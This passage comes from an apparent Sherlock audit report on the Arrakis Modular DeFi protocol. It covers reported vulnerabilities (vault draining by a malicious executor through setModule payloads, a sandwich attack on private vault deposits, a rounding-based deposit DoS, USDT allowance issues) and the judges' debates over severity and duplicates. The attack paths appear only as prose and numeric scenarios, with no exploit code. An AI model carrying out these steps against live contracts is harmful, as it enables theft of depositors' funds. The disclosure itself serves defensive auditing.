Tagging all Watsons who submitted and escalated reports about the malicious executor stealing funds or harming the protocol in general via ArrakisStandardManager::rebalance (Arrakis Standard Manager = ASM):

@CergyK @0xjuaan @cu5t0mPeo @kennedy1030 @ADK0010 (please tag the missing ones if there are any, also tagging @lWildSniperl cause active in the discussions).

Here're the issues:

- #9
- #19
- #20
- #49
- #53
- #76



- #55
- #56
- #59
- if there are any missed please flag them here.

As I see, in all of these functions the exploit happens at the call to the router (input by the malicious executor) with arbitrary payloads in ASM. In some of them, the problem is solved via setting additional validation on the called functions (for example, price bounds), in others, the problem is solved by setting additional constraints on the payloads. So I'd like to get a clarification from Watsons on how you view these issues and why you think they have different root causes (the explanation can be as simple as possible, just 1 sentence).

For now, let's continue the discussion here, and then we'll move to each specific report. Also, I know that in some reports the problem is in the quality of the report, we'll discuss it once we finish this discussion

#### cu5t0mPeo

@WangSecurity https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/19 is not a duplicate of this issue.

#### **ADK0010**

Yaah they all seem to be together, but as you mentioned some of the above reports have faults in it - so I don't think all of them are valid as they might not either have essential elements to execute the attack or they have forgotten about some checks done by Protocol making their attack invalid.

@WangSecurity please look into discussions #76, #55, #59, #9, #49

Also this issue seems to be part of the same family #8, as it involves <code>Doing an arbitrary call to an arbitrary address (router\_.call(payload\_))</code> as you can see in the report - the root cause seem to be same (it's just that the arbitrary call is done onto <code>SovereignPool</code>) and attack path has been well explained by report, so a valid dup.

#### **IWildSniperI**

@WangSecurity from what i see, every issue solved by validation of the router low level call should be grouped together If the solution happens, then no one can call any leveraged function in the sovereign pool or in the HotModule nor Hot.sol in the context of arrakisMetaVault No one would be able to call malicious routers to drain funds

# WangSecurity



To get more sense, what are the routers that the executor is expected to call (for simplicity, let's assume what a trusted executor would call)? I assume it's ArrakisPublicVaultRouter or RouterSwapExecutor? Correct me if wrong.

#### cu5t0mPeo

To get more sense, what are the routers that the executor is expected to call (for simplicity, let's assume what a trusted executor would call)? I assume it's ArrakisPublicVaultRouter Or RouterSwapExecutor? Correct me if wrong.

The router is not restricted; it can be any address on Ethereum.

ArrakisPublicVaultRouter is a user input value. Users can deposit through this contract, which will then call the relevant functions of the public vault to deposit the amount into the pool. Additionally, this contract can perform a swap before making a deposit. When users perform a swap, they will be using RouterSwapExecutor.

#### WangSecurity

Thank you very much. If we assume the executor is trusted, would it be possible that they call these 2 Arrakis Routers, or these are only for users and would cause issues if executor called them (even with correct values without a malicious intent)?

#### cu5t0mPeo

Thank you very much. If we assume the executor is trusted, would it be possible that they call these 2 Arrakis Routers, or these are only for users and would cause issues if executor called them (even with correct values without a malicious intent)?

It should be impossible because if you want to call the functions in ArrakisPublicVaultRouter during rebalance, the amount will eventually be deposited into the pool. This prevents rebalance from completing subsequent checks because, during the swap, the entire amount is withdrawn from the pool and then redeposited. RouterSwapExecutor is generally called by ArrakisPublicVaultRouter.

If other Watsons find any errors in my description above, please correct me.

#### cu5t0mPeo

@WangSecurity Here is the related proof: <a href="https://github.com/sherlock-audit/2024-0">https://github.com/sherlock-audit/2024-0</a> 3-arrakis/blob/64a7dc6ccb5de2824870474a9f35fd3386669e89/arrakis-modular/src/ArrakisPublicVaultRouter.sol#L106-L113

#### **Oxjuaan**

@WangSecurity, I believe that while the vulnerabilities involve the same external call for the attack, they should be not duplicated for the following reasons:



- 1. To say that the fix for all the issues is to simply place a whitelist on the router\_ parameter is too restrictive. The executor should be able to search for the best opportunity to swap on-chain during the rebalance, depending on how much value to swap which changes over time. If a whitelist was used, and a new router is found that can achieve the swap at the best rate, it would take 2+ days to add it to the whitelist.
- 2. The entire reason for the various checks (expectedMinReturn\_, TVL slippage check, price oracle check) in the ArrakisStandardManager.rebalance() function and ValantisHOTModule.swap() function is to prevent a malicious router\_ from being used, since they aim to catch errors that steal funds from the protocol during the rebalance.

The attacks show ways to bypass these checks with completely different methods, so the fix should be to add more checks (similar to the checks that already exist).

For example, for #44 a valid fix would be to prevent mint() from being called on the vault during a rebalance through a cross-contract non-reentrant check, alternatively the solution provided by @CergyK in #76 also helps to minimise the damage.

On the other hand, #8 exploits the fact that the external call can be used to call admin-only functions in the SovereignPool via the ValantisHOTModule, causing stolen funds for the manager. The fix would be to disallow the router\_ from being any contracts which provide admin-only functionality to the ValantisHOTModule to prevent the executor from breaching access control.

# **Summary**

While restricting router\_ to a whitelist technically prevents the attacks, it also hinders the functionality of the protocol and is an overly restrictive solution, and is definitely not optimal. Since there are already various checks during rebalance, it is clear that the protocol intent was to allow the executor to provide any router\_ as long as it meets constraints like expectedMinReturn\_ and the vault TVL does not drop significantly after the rebalance.

The attacks show features that the protocol did not consider (1. minting cheap shares from the vault, or 2. calling admin-only functions), so additional checks should be added to prevent these attacks.

This means that the reports should not be duplicated, since their attack methods and root causes are different.

# WangSecurity

Thank you very much for that clarification. I agree these all shouldn't be duplicates under one family. Moving the discussion to each individual issue.



# WangSecurity

About escalations on this report:

I believe it's not a duplicate of #28, since the attack, the impact and the fix are completely different. Planning to reject the first escalation.

I agree with the second escalation that it's high severity, cause even with the constraints, the losses are still 99%. Planning to accept the second escalation.

Since the current decision is to invalidate #76 and #55, this report will become a solo high.

#### **ADK0010**

@WangSecurity 2 Reasons given by @0xjuaan  $\underline{\text{here}}$ , I have some doubts regarding it .

- 1) Yaah, there are many exchanges across Defi which uses whitelisted routers for swap but it doesn't mean they don't get best rates. Best rates amongst the whitelisted routes can be chosen by executor to perform the swap. just because some new swap router shows better rates, executor shouldn't be allowed to use it as it might be a Malicious router, so it's always better to use only whitelisted routers and a timelock of 2+ days is acceptable here.
- 2) Yaah , all the checks involved are to reduce possibility of drainage of funds from the Protocol , it is true .

My point is - it is true that reports mention by @WangSecurity at <a href="here">here</a> (other than the invalid ones) have completely different paths to exploit the invalid <code>\_router</code> setup by Malicious executor & it would have been judged as separate issues in any other platforms. But the Sherlock Rules for this contest says something different - 'There is a root cause/error/vulnerability A in the code. This vulnerability A -> leads to two attack paths:

- B -> high severity path
- C -> medium severity attack path/just identifying the vulnerability. Both B & C would not have been possible if error A did not exist in the first place. In this case, both B & C should be put together as duplicates.' see <a href="here">here</a> I think watsons who participated in judging contest would have duplicated this based on this rule. This would be my last comment on these set of issues unless someone put's out some vague comment on the same. I'm okay with whichever way it would be judged as the attack paths are definitely different in the reports mentioned above.

# WangSecurity

It's a very fair point, but I believe in that case it would be fairer to separate those into different groups, since as I understand whitelisted routers are not implemented



now to give that freedom of choosing the better one. Also this part of the rule:

The exception to this would be if underlying code implementations, impact, and the fixes are different, then they can be treated separately

Hence, I believe better to separate them in this specific case.

Hence the decision remains the same as expressed here

# WangSecurity

Result: High Unique

#### sherlock-admin4

Escalations have been resolved successfully!

**Escalation status:** 

· Oxjuaan: accepted

• cu5t0mPeo: rejected

#### sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/ArrakisFinance/arrakis-modular/pull/88

#### sherlock-admin2

The Lead Senior Watson signed off on the fix.



# Issue H-4: ArrakisMetaVault::setModule Malicious executor can drain the vault by calling withdraw after initializePosition

Source: https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/50

# Found by

cergyk, cu5t0mPe0, iamandreiski, juaan

# **Summary**

A malicious executor, after a new module is whitelisted by an admin, can drain the vault by calling ArrakisStandardManager.setModule() with a malicious payloads\_.

# **Vulnerability Detail**

The setModule() function of the ArrakisStandardManager contract allows an executor to set a new module for a vault: ArrakisStandardManager.sol#L438.

It calls ValantisModule.withdraw(), to withdraw the funds from the pool and transfer to the new module: ValantisHOTModule.sol#L235.

Once the vault's funds are in the new module, the first malicious payloads\_ is executed and calls ValantisModule::initializePosition to deposit the liquidity back into the pool: ValantisHOTModule.sol#L148.

Lastly, the second payloads\_ of the malicious executor gets executed and calls ValantisModulePublic::withdraw which calls ValantisModule::withdraw on the new module and withdraws all funds to an arbitrary address: ValantisHOTModule.sol#L203.

# **Impact**

Theft of all funds in the vault.

# **Scenario**

- 1. Owner whitelists a legitimate new module with ArrakisMetaVault::whitelistModules.
- 2. Malicious public vault executor calls ArrakisStandardManager::setModule with a malicious payloads\_.
  - 1. It calls ArrakisMetaVault::setModule.



- 2. It calls ValantisModulePublic::withdraw which calls \_module.withdraw(module\_, BASE) to withdraw all vault's funds from old to new module.
- 3. Malicious executor has provided two payloads
  - 1. The first one calls ValantisModule::initializePosition to deposit liquidity into the new pool.
  - 2. Then the second malicious payloads\_ is executed and contains a call to ValantisModule::withdraw With attacker as the receiver

Please note that instead of calling withdraw on the new module, enabling direct theft of funds, the executor can also call withdrawManagerBalance which would transfer all the balance of the module to the manager. Or also not call any function at all (payloads is an empty array), and leave the balances in the module.

# **Code Snippet**

ArrakisMetaVault.sol#L130

#### Tool used

Manual Review

#### Recommendation

Check that the reserves in the new pool are correct after setting the new module, similarly to what is currently done at the end of

ArrakisStandardManager::rebalance: https://github.com/sherlock-audit/2024-03-arrakis/blob/d7946ee784ca8df3246d723e8b92529447e23bb7/arrakis-modular/src/ArrakisStandardManager.sol#L391-L414

#### **Discussion**

#### **Oxjuaan**

Hi @0xffff11, #45 is a completely different issue and should not be duped with this one

# WangSecurity

Tagging here the Watsons who submitted and escalated their findings about malicious executor exploiting the protocol via setModules in ArrakisStandardManager:



@CergyK @0xjuaan @cu5t0mPeo @iamandreiski (I assume there might be more, please tag everyone I've missed)

Here're the escalated findings:

- #35
- #21
- #27
- #14
- #45
- if there are any missing please also send them in this discussion.

Gentlemen, I've got you all here, as we all know in the README it says the executor for Arrakis Standard Manager (let's call it ASM) is RESTRICTED during rebalance actions. These vulnerabilities above are about exploiting setModules, so as I understand, the executor in that case is TRUSTED. So I've got three questions here:

- 1. Is there any evidence that the sponsors agree they're untrusted and restricted for setModules or it's only for rebalance indeed?
- 2. Are your submissions possible via rebalance or only via setModules?
- 3. #27 and #14 are dups of each other and as I understand they're about the problem with new modules being incorrectly set, but both mention malicious executor, which is trusted in that case. Are they possible with a TRUSTED executor and without a mistake?

Let's keep the discussions here and then, depending on the answers to these questions, we could move the talks to issues individually.

# cu5t0mPeo

@WangSecurity Hi, here is the sponsor's explanation about the executor in my private thread: "When the executor is calling setModule, he will interact with the module through the vault. The module functions exposed to the vault should be safely implemented. In this case, the executor isn't trusted, so the module's exposed function to setModule should be safe."

# **Oxjuaan**

Furthermore, it does not make sense for an actor to be trusted to use one function non-maliciously, but untrusted for a different function.

Sponsor's intention is confirmed here:

# **Oxjuaan**



Also @WangSecurity, #14 and #27 do not involve any special malicious actions. Its a mistake in the code. Whenever setModule is called (with perfectly correct payloads), all the funds are sent to the ArrakisStandardManager incorrectly.

# WangSecurity

Thank you for these clarifications.

Furthermore, it does not make sense for an actor to be trusted to use one function non-maliciously, but untrusted for a different function.

Fair enough, still wanted to get a confirmation. Let's proceed to each individual issue.

# sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/ArrakisFinance/arrakis-modular/pull/88

# sherlock-admin2

The Lead Senior Watson signed off on the fix.



# Issue H-5: Adding liquidity can be DoSed due to calculation mismatches

Source: https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/54

# Found by

KupiaSec, cu5t0mPe0, juaan, whitehair0330

# **Summary**

When users add liquidity, they send tokens to the ArrakisPublicVaultRouter contract. The ValantisHOTModulePublic contract then takes the required tokens from the ArrakisPublicVaultRouter contract. However, due to a calculation mismatch, the required amount is often greater than the user-sent amount, causing the transaction to be reverted.

# **Vulnerability Detail**

Let's consider following scenario:

- 1. The current state:
  - pool: reserve0 = 1e18 + 1, reserve1 = 1e18 + 1
  - vault: totalSupply = 1e18 + 1
- 2. Bob calls the ArrakisPublicVaultRouter.addLiquidity() function with the following parameters:
  - amount0Max = 1e18, amount1Max = 1e18
- 3. At L139, the \_getMintAmounts() function returns:
  - (sharesReceived, amount0, amount1) = (1e18 1, 1e18 1, 1e18 1)
- 4. The router contract takes token0 and token1 from Bob in amounts of 1e18 1 each and calls the \_addLiquidity() function with above parameters.
- 5. In the \_addLiquidity() function, ArrakisMetaVaultPublic.mint(1e18 1, Bob) is invoked at L898.
- 6. In the ArrakisMetaVaultPublic.mint() function:
  - at L58, the proportion is recalculated as 1e18 1
  - \_deposit(1e18 1) is called at L71
  - in the \_deposit() function, ValantisHOTModulePublic.deposit(router, 1e18 1) is invoked at L150



- 7. In the ValantisHOTModulePublic.deposit() function:
  - amount0 = 1e18, amount1 = 1e18(at L71, L73)
  - at L79, L80, it takes token0 and token1 from the router in amounts of 1e18 each

Finally, the process fails because there is only 1e18 - 1 in the router, as mentioned in step 4.

This problem occurs because the calculations in the

ArrakisPublicVaultRouter.\_getMintAmounts() function rely on rounding down. In contrast, the proportion calculation in the ArrakisMetaVaultPublic.mint() function and the amount calculations in the ValantisHOTModulePublic.deposit() function are based on rounding up.

# **Impact**

Adding liquidity can be DoSed due to the calculation mismatches.

# **Code Snippet**

https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/ArrakisPublicVaultRouter.sol#L122-L191

https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/ArrakisPublicVaultRouter.sol#L869-L901

https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/ArrakisPublicVaultRouter.sol#L1194-L1231

https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/ArrakisMetaVaultPublic.sol#L51-L74

https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/ArrakisMetaVaultPublic.sol#L137-L154

https://github.com/sherlock-audit/2024-03-arrakis/blob/main/arrakis-modular/src/modules/ValantisHOTModulePublic.sol#L35-L96

# Tool used

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# Recommendation

The ArrakisPublicVaultRouter.\_getMintAmounts() function should be updated to return the accurate required amounts.



# **Discussion**

# **KupiaSecAdmin**

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### sherlock-admin3

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# WangSecurity

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# Gevarist

Valid finding, for us it's a low level finding.

# CergyK

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This should remain medium, as there is no loss of funds.

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It seems that Sherlock has a new rule to identify high issues which is cited here: 2. Inflicts serious non-material losses (doesn't include contract simply not working). Which seems inconsistent with how to



identify a medium issue: 2. Breaks core contract functionality, rendering the contract useless or leading to loss of funds. As the rule to identify the medium issue uses a higher impact?

# **KupiaSecAdmin**

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Ok I see. Indeed depositing would be impossible in that case. Still this is a medium severity issue since it is a DOS of a core functionality, but no loss demonstrated

# **KupiaSecAdmin**

IV. How to identify a high issue: 2. Inflicts serious non-material losses (doesn't include contract simply not working).

Based on the judging rule, I think the issue deserves high severity, because it inflicts serious non-material losses, which is not contract simply not working.

# **Oxjuaan**

@KupiaSecAdmin that rule actually says that there must be a non material loss other than the contract simply not working.

Since this bug simply causes a function to not work, I agree with @CergyK that this should be medium.

# WangSecurity

@0xjuaan could you please elaborate? The rule says non-material losses, excluding the contract simply not working. Here, the contract is working, but the deposits are DOSed?

Also, another question, are the contracts upgradable and in reality could this issue be solved by updating the contract?

# **Oxjuaan**

It seems similar to this issue which is medium severity.

From what I understand, the rules say that the non-material loss must not be that a contract/function simply is not functional. However in this bug, that is the impact.

Note I did submit this so am not incentivised to disagree with the escalation, but it based on the rules I don't see any way this can be high severity.

# WangSecurity

@0xjuaan could you please elaborate on what do you think includes "serious non-material losses"? So I can better understand how I can explain my decision better.

# WangSecurity

The decision remains the same. I believe in that case it's not just a function simply doesn't work, but deposits into protocol are DOSed, hence, it's serious non-material losses. Planning to accept the escalation and upgrade severity to high.

# **Oxjuaan**



Honestly I still think @CergyK's stance is correct since deposits are technically not DoS'd, they can occur via the vault directly.

I do benefit from it being converted to H though so I don't mind either way.

### sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/ArrakisFinance/arrakis-modular/pull/88

# CergyK

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One possible interpretation is that the line in the Sherlock rules:

2. Inflicts serious non-material losses (doesn't include contract simply not working).

was added to enable high severity issues in protocols which are not handling financial assets (SocialFi, data-availability). Otherwise it is too vague, and can be applicable to any valid issue (low, medium, high).

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Fair point, but I still believe DOS of depositing into the protocol is indeed serious non-material loss.

But correct me on the first if I'm wrong.

# WangSecurity

The decision remains the same. Planning to accept the escalation and upgrade severity to high.

# WangSecurity

Result: High Has duplicates

### sherlock-admin4

Escalations have been resolved successfully!



# **Escalation status:**

• KupiaSecAdmin: accepted

# sherlock-admin2

The Lead Senior Watson signed off on the fix.



# Issue H-6: ArrakisMetaVaultPrivate::fund No slippage control on private vault deposit can cause unlimited loss to owner

Source: <a href="https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/80">https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/80</a>
The protocol has acknowledged this issue.

# Found by

cergyk, juaan

# Summary

An attacker can front-run a deposit transaction for an ArrakisMetaVaultPrivate, forcing the depositor to deposit in an unbalanced way. This increases liquidity around an unfavorable price, leading to a loss of one side of the provided liquidity.

# **Vulnerability Detail**

The owner of a private vault has full ownership of the shares of liquidity, so they are not even calculated explicitly. It is thus not possible to quantify the slippage control as a minimum amount of shares minted.

However, by providing liquidity around an unfavorable price, the owner of the vault exposes one side of his liquidity to be backrun, as we will see in the concrete example below.

# **Impact**

An attacker can manipulate the price at which liquidity is added, leading to potential losses for the depositor.

# **PoC**

To simulate the scenario, we use the Python script from the uniswapv3book

# **Scenario**

# **Initial Pool State**

- DAI is trading **1:1** to USDC.
- Price bounds set are: [0.5, 1.5].



• Reserves: 1000 USDC: 1000 DAI

• Liquidity: 3414

• Price: 1

# Steps

- 1. Bob is a private vault owner and creates a tx to deposit **1000 USDC**: **1000**
- 2. Alice front-runs Bob tx and swaps **1366 USDC** for **975 DAI** to decrease USDC price down to **0.51**.

# **Pool State After Alice Front-runs**

• Reserves: 2366 USDC: 25 DAI

• Liquidity: 3553

• Price: 0.51

3. Bob transaction goes through, he deposits 1000 USDC: 1000 DAI.

# **Pool State After Bob's Transaction**

Reserves: 3366 USDC: 1025 DAI

• Liquidity: 5765

• Price: 0.51

4. Alice back-runs Bob's tx, and swaps 1647 DAI for 2307 USDC making a profit of **269 USDC**.

# **Code Snippet**

ValantisHOTModulePrivate.sol#L50

# Tool used

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# Recommendation

Enable private vault depositors to control deviation parameters exposed in HOT::depositLiquidity: \_expectedSqrtSpotPriceLowerX96 and \_expectedSqrtSpotPriceUpperX96

in ArrakisMetaVaultPrivate.sol::fund interface



# **Discussion**

### **Gevarist**

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# CergyK

### Escalate

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There are some cases in which the feeds are not set and these checks are not used (e.g AMM-only mode as mentionned here).

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### sherlock-admin3

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# WangSecurity

Agree with the escalation, planning to accept and validate with high severity.

# WangSecurity

Result: High Has duplicates

# sherlock-admin2



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**Escalation status:** 

• CergyK: accepted

# **Gevarist**

Hi Arrakis will not support HOT alm that doesn't have feed.



# **Issue M-1: USDT is not supported**

Source: https://github.com/sherlock-audit/2024-03-arrakis-judging/issues/19

# Found by

cu5t0mPe0

# **Summary**

When approving USDT, the allowance value needs to be set to 0 first before it can be used correctly. However, the 4.9.5 version of OpenZeppelin does not internally call forceApprove.

# **Vulnerability Detail**

Users can perform swap operations using RouterSwapExecutor, but the actual amount used in params\_.swapData.amountInSwap and params\_.swapData.swapPayload can differ. For USDT, this will result in the contract being unable to use the pool again.

Additionally, other parts of the protocol are also affected. For example, in ValantisHOTModule.swap, setting the router to a specific SovereignPool and passing parameters that cause the actual balance used to be less than amountln will result in the allowance not being 0. This prevents the module from directly interacting with the SovereignPool again.

# **Impact**

The contract may not work properly

# **Code Snippet**

https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870 474a9f35fd3386669e89/arrakis-modular/src/RouterSwapExecutor.sol#L41-L116 https://github.com/sherlock-audit/2024-03-arrakis/blob/64a7dc6ccb5de2824870 474a9f35fd3386669e89/arrakis-modular/src/abstracts/ValantisHOTModule.sol#L 326-L416

# Tool used

Manual Review



# Recommendation

It is recommended to upgrade openzeppelin

# **Discussion**

### cu5t0mPeo

Escalate In OpenZeppelin version 4.9.5, safeIncreaseAllowance does not call forceApprove, and during a swap, the actual transfer amount is determined by swapPayload. This allows users to set the swapPayload amount lower than params\_.swapData.amountInSwap, ultimately causing issues with USDT support. This behavior is inconsistent with the Sherlock documentation, which states that USDT is supported, thereby violating the main invariant.

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# **Oxjuaan**

This is likely a valid medium, since the swapPayload can differ from the amountInSwap

# WangSecurity

To clarify what's the impact here, if someone swaps via Arrakis with params\_.swapData.amountInSwap and params\_.swapData.swapPayload being different, then RouterSwapExecutor will be unable to make more swaps after it?

Also swap in RouterSwapExecutor has onlyRouter modifier, I assume it's a contract, could you please forward me to the code where the router calls RouterSwapExecutor.

And in ValantisHOTModule, there's an onlyManager modifier, hence, I believe they're trusted to provide correct inputs.

### cu5t0mPeo



@WangSecurity Hi, the entire project has two different swaps: one in the RouterSwapExecutor contract and the other in the ValantisHOTModule.

The swap in RouterSwapExecutor is called by the related swap function of ArrakisPublicVaultRouter. This allows anyone to call it, so there is a possibility that params\_.swapData.amountInSwap might not equal params\_.swapData.swapPayload.

The swap in ValantisHOTModule is called by the executor from the ArrakisStandardManager contract. Since the executor is not trustworthy during rebalancing, the actual amount passed might not equal the amount used.

When calling the approve function of USDT, it first checks if the approve amount has been set to zero. If not, it will revert.

USDT source code: <a href="https://etherscan.io/address/0xdac17f958d2ee523a22062069">https://etherscan.io/address/0xdac17f958d2ee523a22062069</a> 94597c13d831ec7#code

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# **Oxjuaan**

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Hi @WangSecurity it may be confusing, but the onlyManager modifier does not mean that trusted inputs are provided. The ValantisHOTModule an Arrakis contract, which is meant to talk to a HOT ALM from Valantis.

So the 'manager' is not a trusted valantis manager, but is actually the ArrakisStandardManager contract which is the entry-point for the malicious executor to perform rebalances.

# WangSecurity

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The entry point for the attack is not only rebalance; there is also a path through the swap-related functions of the RouterSwapExecutor contract. Unlike rebalance, this



path can be called by any user. Therefore, this issue is not the same as the issue with rebalance as the entry point.

### cu5t0mPeo

@WangSecurity Hi, I'd like to provide some additional context to explain why this issue is different from the malicious router and malicious payloads category.

- 1. The key reason for this issue is that certain parts of the current protocol do not support USDT, as mentioned in previous comments.
- 2. Calling a standard swap pool in RouterSwapExecutor is an expected behavior. For example, when calling the swap function of a SovereginPool, the amount spent may not exactly equal params\_.swapData.amountInSwap because the SovereginPool calculates the amount before invoking the transferFrom. The calculations are done using rounding down, so the actual amount used may be less than params\_.swapData.amountInSwap. Another example is using Uniswap V3. If the exactOutputSingle function is used for swapping, it could also result in the consumed amount differing from the allowance. Both of these operations are normal and do not involve any malicious behavior.
- 3. I mentioned two attack paths, one entry point being rebalance and the other being ArrakisPublicVaultRouter. Only one of these paths is related to a malicious router. However, considering point two, even if the executor is not malicious, there will still be an issue with USDT not being supported.

These three points illustrate that the protocol does not support USDT and also explain why this is not the same type of vulnerability as malicious payloads and routers.

# WangSecurity

Thank you for that explanation. Planning to accept the escalation and validate with medium severity. Are there any duplicates?

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not have dups

# WangSecurity

Result: Medium Unique

### sherlock-admin4

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**Escalation status:** 



cu5t0mPeo: accepted

### **Gevarist**

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### cu5t0mPeo

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Hi @Gevarist , I just realized that the best fix for this issue should be to reset the allowance value to zero after calling  $\mathtt{swap}$ . If it is not reset to zero, the executor might be able to use the allowance value to transfer funds from the  $\mathtt{module}$  contract (from the pool's manager fee).

# **Gevarist**

@cu5t0mPeo except no fund should stay inside the valantis module that can be exploitable by this extra allowance.

### sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/ArrakisFinance/arrakis-modular/pull/88

# sherlock-admin2

The Lead Senior Watson signed off on the fix.



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